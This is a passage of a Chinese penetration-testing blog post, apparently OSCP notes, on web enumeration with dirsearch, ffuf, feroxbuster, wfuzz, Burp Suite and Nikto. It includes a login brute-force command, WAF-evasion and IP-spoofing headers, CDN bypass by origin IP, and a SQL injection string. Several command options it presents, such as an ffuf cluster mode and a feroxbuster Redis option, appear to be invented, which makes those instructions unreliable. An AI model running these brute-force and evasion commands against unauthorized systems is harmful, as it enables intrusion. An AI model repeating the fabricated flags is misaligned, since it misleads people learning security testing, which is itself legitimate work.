&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 智能后缀检测&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -u http://target.com -e php,asp,aspx,jsp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 时间延迟规避（防封IP）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -u http://target.com --delay&lt;span class="o"&gt;=&lt;/span&gt;1.5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 结果实时保存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -u http://target.com -o report.json --format&lt;span class="o"&gt;=&lt;/span&gt;json
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -u http://www.megacorpone.com -e php,asp,aspx,jsp --delay&lt;span class="o"&gt;=&lt;/span&gt;1.5 -o report.json --format&lt;span class="o"&gt;=&lt;/span&gt;json
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725180524296" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725180524296.png"&gt;&lt;/p&gt;
&lt;h4 id="-替代方案"&gt;🚀 &lt;strong&gt;替代方案&lt;/strong&gt;
&lt;/h4&gt;&lt;h5 id="1-ffuf---速度之王"&gt;&lt;strong&gt;1. FFuf - 速度之王&lt;/strong&gt;
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 多级目录并行爆破&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;ffuf -w /path/to/wordlist:DIR -u http://target.com/DIR -t &lt;span class="m"&gt;200&lt;/span&gt; -c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 参数模糊测试（发现API隐藏参数）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;ffuf -w params.txt:PARAM -u &lt;span class="s2"&gt;&amp;#34;http://target.com/api?PARAM=FUZZ&amp;#34;&lt;/span&gt; -fs &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 集群扫描模式（分布式爆破）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;ffuf -w wordlist.txt -u http://target.com/FUZZ -s -cluster -cluster-nodes 192.168.1.10-15
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:DIR -u http://www.megacorpone.com/DIR -t &lt;span class="m"&gt;200&lt;/span&gt; -c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725180448440" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725180448440.png"&gt;&lt;/p&gt;
&lt;h5 id="2-feroxbuster---深度递归专家"&gt;&lt;strong&gt;2. FeroxBuster - 深度递归专家&lt;/strong&gt;
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自动目录递归（深度优先）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;feroxbuster -u http://target.com -d &lt;span class="m"&gt;5&lt;/span&gt; -r
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 动态超时设置（适应网络环境）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;feroxbuster -u http://target.com --dynamic-timeout
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 敏感文件捕获（匹配关键词）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;feroxbuster -u http://target.com --capture-keywords password,backup
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725181525260" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725181525260.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725181611820" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725181611820.png"&gt;&lt;/p&gt;
&lt;h5 id="3-wfuzz---高级逻辑爆破"&gt;&lt;strong&gt;3. Wfuzz - 高级逻辑爆破&lt;/strong&gt;
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 多参数组合测试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wfuzz -z file,users.txt -z file,pass.txt -d &lt;span class="s2"&gt;&amp;#34;user=FUZZ&amp;amp;pass=FUZ2Z&amp;#34;&lt;/span&gt; http://target.com/login
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 分块扫描模式（绕过WAF）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;wfuzz -z range,0-100 --slice &lt;span class="s2"&gt;&amp;#34;skip 10; take 5&amp;#34;&lt;/span&gt; http://target.com/?id&lt;span class="o"&gt;=&lt;/span&gt;FUZZ
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725182704013" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725182704013.png"&gt;&lt;/p&gt;
&lt;h4 id="-高级规避技巧"&gt;🛡️ &lt;strong&gt;高级规避技巧&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;流量伪装术&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 随机化请求特征（防止WAF指纹识别）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ffuf -w wordlist.txt -u http://target.com/FUZZ -H &lt;span class="s2"&gt;&amp;#34;X-Forwarded-For: &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;RANDOM%256&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;RANDOM%256&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;RANDOM%256&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;RANDOM%256&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;分布式扫描架构&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用Redis协调分布式节点&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;feroxbuster --redis 192.168.1.100:6379 -u http://target.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CDN穿透策略&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 通过真实IP扫描（Censys获取）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -u http://203.0.113.5 -H &lt;span class="s2"&gt;&amp;#34;Host: target.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-burp-suite-基础安装配置"&gt;🔧 ​&lt;strong&gt;​Burp Suite 基础安装配置​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​安装启动​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Kali默认安装社区版，专业版需官网下载
burpsuite # 启动
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="BurpSuit" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144118876.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​初始化选项​&lt;/strong&gt;​：选择 &lt;code&gt;Temporary Project&lt;/code&gt; → &lt;code&gt;Use Burp defaults&lt;/code&gt; → &lt;code&gt;Start Burp&lt;/code&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144213879.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144236416.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;​&lt;strong&gt;​代理设置​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;默认监听：&lt;code&gt;127.0.0.1:8080&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;关闭拦截：&lt;code&gt;Proxy&lt;/code&gt; → &lt;code&gt;Intercept&lt;/code&gt; → ​&lt;strong&gt;​Intercept is off​&lt;/strong&gt;​（避免手动转发每个请求）
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144330598.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;​&lt;strong&gt;​浏览器代理​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​Firefox扩展​&lt;/strong&gt;​：安装 &lt;code&gt;FoxyProxy Basic&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;配置路径：扩展图标 → Options → Add&lt;/li&gt;
&lt;li&gt;参数：&lt;code&gt;Type: HTTP&lt;/code&gt;, &lt;code&gt;IP: 127.0.0.1&lt;/code&gt;, &lt;code&gt;Port: 8080&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​启用代理​&lt;/strong&gt;​：选择 &lt;code&gt;Use proxy Burp for all URLs&lt;/code&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144541331.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-https抓包解决方案"&gt;🔐 ​&lt;strong&gt;​HTTPS抓包解决方案​&lt;/strong&gt;​
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;​&lt;strong&gt;​步骤​&lt;/strong&gt;​&lt;/th&gt;
 &lt;th&gt;​&lt;strong&gt;​操作​&lt;/strong&gt;​&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​1. 导出证书​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;Burp → &lt;code&gt;Proxy&lt;/code&gt; → &lt;code&gt;Options&lt;/code&gt; → &lt;code&gt;Import/export CA certificate&lt;/code&gt; → 导出&lt;code&gt;DER&lt;/code&gt;格式&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​2. 导入浏览器​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;Firefox → 设置 → 隐私与安全 → 证书 → 导入 → 勾选&lt;code&gt;信任此CA&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​3. 关闭干扰​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;Firefox地址栏输入&lt;code&gt;about:config&lt;/code&gt; → 设置&lt;code&gt;network.captive-portal-service.enabled=false&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;⚠️ ​&lt;strong&gt;​证书更新​&lt;/strong&gt;​：若报错需在Burp中&lt;code&gt;Regenerate CA certificate&lt;/code&gt;并重新导入&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144633405.png"&gt;&lt;/p&gt;
&lt;h4 id="-核心功能模块"&gt;🛠️ ​&lt;strong&gt;​核心功能模块​&lt;/strong&gt;​
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;​&lt;strong&gt;​模块​&lt;/strong&gt;​&lt;/th&gt;
 &lt;th&gt;​&lt;strong&gt;​作用​&lt;/strong&gt;​&lt;/th&gt;
 &lt;th&gt;​&lt;strong&gt;​实战场景​&lt;/strong&gt;​&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​Proxy​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;流量拦截/修改&lt;/td&gt;
 &lt;td&gt;1. 拦截请求修改参数（如越权测试） &lt;br&gt;2. &lt;code&gt;HTTP History&lt;/code&gt;查看历史请求&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​Repeater​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;请求重放测试&lt;/td&gt;
 &lt;td&gt;1. 右键请求 → &lt;code&gt;Send to Repeater&lt;/code&gt; &lt;br&gt;2. 修改参数重放（如SQL注入&lt;code&gt;' OR 1=1--&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​Intruder​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;自动化参数爆破&lt;/td&gt;
 &lt;td&gt;1. 定位攻击点 → &lt;code&gt;Add §&lt;/code&gt; &lt;br&gt;2. 载入字典爆破（如密码/目录）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​Scanner​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;漏洞扫描（仅专业版）&lt;/td&gt;
 &lt;td&gt;自动检测SQLi/XSS等漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728144708523.png"&gt;&lt;/td&gt;
 &lt;td&gt;&lt;/td&gt;
 &lt;td&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="-高效操作技巧"&gt;⚡ ​&lt;strong&gt;​高效操作技巧​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​快速定位关键请求​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Proxy&lt;/code&gt; → &lt;code&gt;HTTP history&lt;/code&gt; → 筛选&lt;code&gt;Method&lt;/code&gt;或&lt;code&gt;Status&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​绕过强制门户检测​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Firefox设置&lt;code&gt;network.captive-portal-service.enabled=false&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​多请求并行测试​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;发送多个请求到&lt;code&gt;Repeater&lt;/code&gt;，独立选项卡管理&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​结果对比分析​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Repeater&lt;/code&gt;中启用&lt;code&gt;Compare&lt;/code&gt;功能对比两次响应差异&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-重要注意事项"&gt;📌 ​&lt;strong&gt;​重要注意事项​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​OSCP考试限制​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​禁止使用Burp Suite Professional​&lt;/strong&gt;​（但考试无需高级功能）&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​移动端抓包​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 开启IP转发
sudo sysctl -w net.ipv4.ip_forward=1
# 配置流量重定向
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080
&lt;/code&gt;&lt;/pre&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​资源占用优化​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;User options&lt;/code&gt; → &lt;code&gt;Memory&lt;/code&gt; → 调至&lt;code&gt;1024MB&lt;/code&gt;防崩溃&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-nikto-使用指南"&gt;🔍 ​&lt;strong&gt;​Nikto 使用指南​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;​
​&lt;strong&gt;​核心定位​&lt;/strong&gt;​：&lt;br&gt;
开源 ​&lt;strong&gt;​Web服务器漏洞扫描器​&lt;/strong&gt;​，专用于快速发现服务器配置错误、危险文件和版本漏洞。&lt;/p&gt;
&lt;p&gt;​&lt;strong&gt;​核心功能​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​风险检测​&lt;/strong&gt;​：扫描 6,800+ 种危险文件/程序（如 &lt;code&gt;/admin.php&lt;/code&gt;、&lt;code&gt;/backup.zip&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​配置审计​&lt;/strong&gt;​：检查缺失的安全头部（如 &lt;code&gt;X-Frame-Options&lt;/code&gt;）、暴露目录&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​版本漏洞​&lt;/strong&gt;​：识别过时的服务器软件（如 Apache 2.2.22 已停止维护）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​敏感信息​&lt;/strong&gt;​：查找 &lt;code&gt;robots.txt&lt;/code&gt;、&lt;code&gt;/phpinfo.php&lt;/code&gt; 等敏感路径&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;​&lt;strong&gt;​技术特点​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⚠️ ​&lt;strong&gt;​非隐蔽扫描​&lt;/strong&gt;​：主动发送大量请求，User-Agent 中会暴露 &lt;code&gt;Nikto&lt;/code&gt; 标识&lt;/li&gt;
&lt;li&gt;🚀 ​&lt;strong&gt;​快速覆盖​&lt;/strong&gt;​：适合初步资产风险排查&lt;/li&gt;
&lt;li&gt;⏱️ ​&lt;strong&gt;​支持限时扫描​&lt;/strong&gt;​：避免长时间占用资源&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-基础使用命令"&gt;⚙️ ​&lt;strong&gt;​基础使用命令​&lt;/strong&gt;​
&lt;/h4&gt;&lt;h5 id="1-最小化扫描快速启动"&gt;​&lt;strong&gt;​1. 最小化扫描（快速启动）​&lt;/strong&gt;​
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nikto -host http://target.com # 扫描目标域名/IP
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="2-控制扫描时间"&gt;​&lt;strong&gt;​2. 控制扫描时间​&lt;/strong&gt;​
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nikto -host http://target.com -maxtime 30s # 30秒后强制终止
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="3-精细调优检测项"&gt;​&lt;strong&gt;​3. 精细调优检测项​&lt;/strong&gt;​
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nikto -host http://target.com -T 2 # 仅检查危险文件和目录
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​常用调优参数 &lt;code&gt;-T&lt;/code&gt; 代码表​&lt;/strong&gt;​：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;代码&lt;/th&gt;
 &lt;th&gt;检测类型&lt;/th&gt;
 &lt;th&gt;适用场景&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;文件上传漏洞&lt;/td&gt;
 &lt;td&gt;检查可写目录&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;日志文件泄露&lt;/td&gt;
 &lt;td&gt;查找 &lt;code&gt;/logs&lt;/code&gt;、&lt;code&gt;/access.log&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;危险文件/目录&lt;/td&gt;
 &lt;td&gt;扫描 &lt;code&gt;/admin&lt;/code&gt;、&lt;code&gt;/backup&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;信息泄露&lt;/td&gt;
 &lt;td&gt;检查配置文件、版本信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;注入漏洞（SQL/XSS）&lt;/td&gt;
 &lt;td&gt;初阶注入点探测&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h5 id="4-绕过基础防护"&gt;​&lt;strong&gt;​4. 绕过基础防护​&lt;/strong&gt;​
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nikto -host http://target.com -evasion 1 # 使用URL编码绕过WAF
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​躲避技术代码表​&lt;/strong&gt;​：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;代码&lt;/th&gt;
 &lt;th&gt;技术描述&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;随机URL编码&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
